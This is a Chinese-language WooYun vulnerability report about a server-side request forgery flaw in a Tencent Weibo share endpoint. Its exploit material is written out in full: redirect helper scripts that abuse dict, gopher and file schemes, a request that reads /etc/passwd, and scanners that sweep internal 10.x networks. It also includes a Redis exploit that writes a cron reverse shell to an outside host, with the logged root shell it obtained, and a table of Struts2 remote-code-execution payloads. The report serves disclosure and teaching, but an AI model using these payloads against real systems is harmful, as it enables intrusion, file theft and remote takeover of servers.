腾讯某处SSRF漏洞(非常好的利用点)附利用脚本

编号215419
Urlhttp://www.wooyun.org/bug.php?action=view&id=215419
漏洞状态厂商已经确认
漏洞标题腾讯某处SSRF漏洞(非常好的利用点)附利用脚本
漏洞类型未授权访问/权限绕过
厂商腾讯
白帽子猪猪侠
提交日期2016-06-02 12:40:00
公开日期2016-07-18 17:00:00
修复时间(not set)
确认时间2016-06-03 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank8
漏洞简介
腾讯某处SSRF漏洞(非常好的利用点)[附利用脚本],各种利用,还可以读取文件
本文章将概述一些经典的SSRF漏洞利用原理,从Fuzz扫描开放的服务到漏洞的自动化利用,刚好腾讯的这个漏洞点,非常适合做为案例来演示。
漏洞细节

## 1. 描述
本文章将概述一些经典的SSRF漏洞利用原理,从Fuzz扫描开放的服务到漏洞的自动化利用,刚好腾讯的这个漏洞点,非常适合做为案例来演示。
### 1.1 漏洞信息
> 腾讯微博应用
> http://share.v.t.qq.com
> SSRF利用点,参数: url
> http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org
### 1.2 服务端回显
当从ssrf利用点发起一个远程请求,如果url资源存在,且MIME类型为HTML,服务端的脚本会分析出HTML页面内的title、img 等等资源,返回给客户端。如果MIME是其它类型,将直接返回原文。
#### 例1 请求远程服务器的22端口,直接回显OpenSSH的banner信息

[[email protected] wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:22'
{"ret":0,"data":{"type":1,"title":"SSH-2.0-OpenSSH_5.3..."}}


#### 例2 请求远程服务器的80端口,回显HEAD和图片资源

[[email protected] wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://www.baidu.com'
{"ret":0,"data":{"type":2,"pics":["http:\/\/www.baidu.com\/img\/baidu_sylogo1.gif"],"title":"\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053"}}


#### 例3 请求不存在的服务器或未开放的端口

[[email protected] wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:8888'
{"ret":1}


### 1.3 利用场景
Loction 302跳转辅助脚本 [302.php][1]

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>


### 1.4 服务端支持协议
#### Dict协议 -> dict://fuzz.wuyun.org:8080/helo:dict
/302.php?s=dict&ip=fuzz.wuyun.org&port=8080&data=helo:dict

[[email protected] wyssrf]# nc -l -vv 8080
Connection from 113.108.10.15 port 8080 [tcp/webcache] accepted
CLIENT libcurl 7.15.1
helo dict
QUIT


#### Gopher协议 -> gopher://fuzz.wuyun.org:8080/gopher
/302.php?s=gopher&ip=fuzz.wuyun.org&port=8080&data=gopher

[[email protected] wyssrf]# nc -l -vv 8080
Connection from 113.108.10.16 port 8080 [tcp/webcache] accepted
GET /gopher HTTP/1.1
Host: 106.75.199.107:8080
Accept: */*


#### File协议 -> file:///etc/passwd
这里需要一个辅助脚本

<?php
header("Location: file:///etc/passwd");
?>


服务器请求302跳转,直接读取到服务器本地文件

[[email protected] wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org/file.php'
{"ret":0,"data":{"type":1,"title":"root:x:0:0:root:\/root:\/bin\/bash bin:x:1:..."}}


#### 综上所述得出结论
从回显结果可以判断服务端的curl为低版本的 7.15.1,支持dict,ftp,gopher,dict等协议

[[email protected] wyssrf]# curl -V
Protocols: tftp ftp telnet dict gopher ldap ldaps http file https ftps scp sftp

POC

## 2. 漏洞利用
鉴于gopher://是一个万金油的服务,这里不对该协议进行利用描述,相关技术大家可以自行Google,本文重点讲解如何探测开放的网络服务和漏洞利用,在乌云峰会结束后,还会进行内容的更新,加入一些其他利用方法。

gogogo.jpg


### 2.1 对开放的网络服务进行探测
这个漏洞地址是t.qq.com,腾讯微博的,确定内网地址,只需要开启域名穷举即可,比如:
PING demo.t.qq.com (10.133.42.26) ,就大概知道腾讯微博的内网地址
针对固定的10.网络 B段、C段进行遍历探测

#!/usr/bin/env python
# encoding: utf-8
# email: [email protected]
import requests
import time
import random
port = '80'
# fuzz local C
for c in xrange(0,255):
for d in xrange(0,255):
ip = '10.133.{0}.{1}'.format(c,d)
payload = 'http://{ip}:{port}/'.format(ip=ip,port=port)
url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(
payload=payload)
# len({"ret":1}) == 9
if len(requests.get(url).content) != 9:
print ip, port, 'OPEN', requests.get(url).content


随机针对内网10.网段进行探测

#!/usr/bin/env python
# encoding: utf-8
# email: [email protected]
import requests
import time
import random
port = '80'
# random fuzz local ip
while True:
ip = '10.{0}.{1}.{2}'.format(random.randint(1, 254),random.randint(1, 254),random.randint(1, 254))
payload = 'http://{ip}:80/'.format(ip=ip)
url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(
payload=payload)
# len({"ret":1}) == 9
if len(requests.get(url).content) != 9:
print ip, port, 'OPEN', requests.get(url).content


### 2.2 对已开放的服务进行漏洞利用
这里描述的利用内容,使用的dict协议,dict提供了一个非常棒的功能
> dict://serverip:port/name:data
> 向服务器的端口请求 name data,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
REDIS Server的命令接收格式为:
> command var data \r\n
实战利用代码如下:

#!/usr/bin/env python
# encoding: utf-8
# email: [email protected]
import requests
host = '42.62.67.198'
port = '6379'
bhost = 'fuzz.wuyun.org'
bport = '8080'
vul_httpurl = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url='
_location = 'http://fuzz.wuyun.org/302.php'
shell_location = 'http://fuzz.wuyun.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#2 set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
host = host,
port = port,
bhost = bhost,
bport = bport)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#3 config set dir /var/spool/cron/
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#4 config set dbfilename root
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#5 save to file
_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content


shell.php 辅助脚本 [shell.php][3]

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>


## 3. 漏洞证明
配置利用变量

reinhard$ python wyssrf.py 
Usage:
wyssrf config -u <url> -p <param> [--data <data>]
wyssrf config --show
wyssrf plugin --list
wyssrf exploit --list
wyssrf (-i | --interactive)
wyssrf (-h | --help | --version)
reinhard$ python wyssrf.py config -u 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org' -p url
[INFO] config file save success...


### 3.1 针对redis进行漏洞利用
根据上面的原理做成利用脚本

expexp.jpg


reinhard$ python wyssrf.py -i
Welcome to WYSSRF Exploit FrameWork (type help for a list of commands.)
console> show config
{
"url": "http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org",
"method": "GET",
"param": "url"
}
console> redis -h
Usage:
redis shell <host> <port> <bhost> <bport> [--type=<TYPE>]
redis ssh <host> <port> <keyfile> [--type=<TYPE>]
Options:
-t, --type=<TYPE> request protocol type [default: dict]
console> redis shell 42.62.67.198 6379 fuzz.wuyun.org 8080 --type dict
[INFO] Exploit 42.62.67.198 6379 Start...
[INFO] #1 flush redis db
[INFO] #2 set crontab command
[INFO] #3 config set dir /var/spool/cron/
[INFO] #4 config set dbfilename root
[INFO] #5 save to file
[INFO] Exploit Successs...
console> quit
Good Bye!


查询远程Redis服务器的信息

reinhard$ redis-cli -h 42.62.67.198 config get dir
1) "dir"
2) "/var/spool/cron"
reinhard$ redis-cli -h 42.62.67.198 config get dbfilename
1) "dbfilename"
2) "root"


成功获得Redis服务器Shell

[[email protected]]# nc -l -vv 8080
Connection from 42.62.67.198 port 8080 [tcp/webcache] accepted
bash: no job control in this shell
[[email protected] ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] ~]# cat /var/spool/cron/root
cat /var/spool/cron/root
REDIS0006™@B
*/1 * * * * /bin/bash -i >& /dev/tcp/fuzz.wuyun.org/8080 0>&1
…[[email protected] ~]#


### 3.2 Struts2 命令执行规则表

Struts2 -- 032
ping s2032.struts.99fd5e.dnslog.info
GET /?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=ping%20s2032.struts.99fd5e.dnslog.info&pp=%5CA&ppp=%20&encoding=UTF-8
Struts2 -- 019
ping s2019.struts.99fd5e.dnslog.info
/?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRequest(),#[email protected]@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ping','s2019.struts.99fd5e.dnslog.info'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[10000],#d.read(#e),#resp.println(#e),#resp.close()
Struts2 -- 016
ping s2016.struts.99fd5e.dnslog.info
/index.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'ping','s2016.struts.99fd5e.dnslog.info'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
Struts2 -- 013
ping s2013.struts.99fd5e.dnslog.info
/?a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%[email protected]@getRuntime().exec('ping s2013.struts.99fd5e.dnslog.info').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}
Struts2 -- 009
ping s2009.struts.99fd5e.dnslog.info
/?class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ping s2009.struts.99fd5e.dnslog.info%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]
Struts2 -- 005
ping s2005.struts.99fd5e.dnslog.info
/?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ping s2005.struts.99fd5e.dnslog.info\'')(d))&(h)(('\43myret\[email protected]@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\[email protected]@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))


### 3.5 其它乌云峰会后待续

redis.py		jboss.py		shellshock.py
axis2.py jdwp.py smtp.py
confluence.py jenkins.py struts.py
couchdb.py mongodb.py tftp.py
docker.py phpcgi.py tomcat.py
elasticsearch.py pop.py webdav.py
ftp.py portscan.py websphere.py
gopher.py pstack.py zentaopms.py
hfs.py


[1]: http://fuzz.wuyun.org/src/302.php
[2]: http://fuzz.wuyun.org/src/file.php
[3]: http://fuzz.wuyun.org/src/shell.php

修复方案

干掉不需要支持的协议

状态信息 2016-06-02: 细节已通知厂商并且等待厂商处理中
2016-06-03: 厂商已经确认,细节仅向厂商公开
2016-06-13: 细节向核心白帽子及相关领域专家公开
2016-06-23: 细节向普通白帽子公开
2016-07-03: 细节向实习白帽子公开
2016-07-18: 细节向公众公开
厂商回复非常感谢您的报告,姿势很不错,报告写的也很详细,值得学习。涉及的安全问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
回应信息危害等级:中漏洞Rank:8 确认时间:2016-06-03 16:54
Showing 1-29 of 29 items.
评论内容评论人点赞数评论时间

猪哥的文章总是很精彩,每每读之,如饮甘霖

goldsnakeman02016-07-07 14:24:00

非常感谢您的报告,姿势很不错,报告写的也很详细,值得学习。涉及的安全问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。最新状态:

Any3ite02016-07-07 12:10:00

很值得学习 赞

whynot02016-07-07 11:49:00

腾讯的回复终于变了……

香草02016-06-04 09:45:00

厂商发话了。。。以上评论的白帽子请留下联系方式以便发放积极评论证书。。。

爱偷懒的9802016-06-03 17:15:00

围观的群众热情高涨啊。。。

腾讯02016-06-03 16:59:00

rank1 非常感谢您的报告,IM组件的问题,已经有白帽子在tsrc平台报告过,此问题我们已经第一时间紧急处理。感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈。

深蓝02016-06-03 00:22:00

以上白帽子的行为违反了乌云的基本公共秩序,现决定对你们进行处罚。请每个白帽子都自觉把乌云B转账给此我 谢谢合作。

帅气的王尼玛02016-06-02 23:43:00

rank1 非常感谢您的报告,IM组件的问题,已经有白帽子在tsrc平台报告过,此问题我们已经第一时间紧急处理。感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈。

Any3ite02016-06-02 21:33:00

套路很深,哈哈

huoge02016-06-02 21:11:00

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。 最新状态:

ByStudent02016-06-02 16:48:00

非常感谢您的报告。这个问题我们经过评估,目前该业务已有一些策略应对该问题,影响较为可控,故暂不作处理。如果您有任何的疑问,欢迎反馈,我们会有专人跟进处理。

Wens0n02016-06-02 16:32:00

@Hax0rs 啊哈 基友哇

爱偷懒的9802016-06-02 15:50:00

以上白帽子的行为违反了乌云的基本公共秩序,现决定对你们进行处罚。请每个白帽子都自觉把乌云B转账给此我 谢谢合作。

Hax0rs02016-06-02 15:29:00

以上白帽子的行为违反了乌云的基本公共秩序,现决定对你们进行处罚。请每个白帽子都自觉把乌云B转账给此我 谢谢合作。

爱偷懒的9802016-06-02 14:24:00

无危害,厂家忽略。

小白猫02016-06-02 14:10:00

DUANG

大师兄02016-06-02 13:58:00

非常感谢您的报告,属于测试环境,影响低位,故忽略,感谢大家对腾讯安全的关注。

梧桐树下02016-06-02 13:37:00

非常感谢您的报告。这个问题我们经过评估,目前该业务已有一些策略应对该问题,影响较为可控,故暂不作处理。如果您有任何的疑问,欢迎反馈,我们会有专人跟进处理。

Agony02016-06-02 13:19:00

非常感谢您的报告,此问题内部早已发现,并着手处理,故忽略,感谢大家对腾讯安全的关注。

苏宸02016-06-02 13:17:00

全是套路!

hkAssassin02016-06-02 13:09:00

非常感谢您的报告。这个问题我们经过评估,目前该业务已有一些策略应对该问题,影响较为可控,故暂不作处理。如果您有任何的疑问,欢迎反馈,我们会有专人跟进处理。

Samehere502016-06-02 13:05:00

非常感谢您的报告,tsrc上有提交过,重复提交故忽略

Submit02016-06-02 13:03:00

非常感谢您的报告,tsrc上有提交过,重复提交故忽略

泳少02016-06-02 12:53:00

rank1 非常感谢您的报告,IM组件的问题,已经有白帽子在tsrc平台报告过,此问题我们已经第一时间紧急处理。感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈。

岛云首席鉴黄师02016-06-02 12:48:00

非常感谢提交,影响有限,乌云暂时无法覆盖,请见谅,多乌云多机会

爱偷懒的9802016-06-02 12:46:00

你关注的白帽子 猪猪侠 发表了漏洞 腾讯某处SSRF漏洞(非常好的利用点)附利用脚本 2016-06-02

Uknow02016-06-02 12:44:00

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。 最新状态:

ANS502016-06-02 12:43:00

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。最新状态:

prolog02016-06-02 12:41:00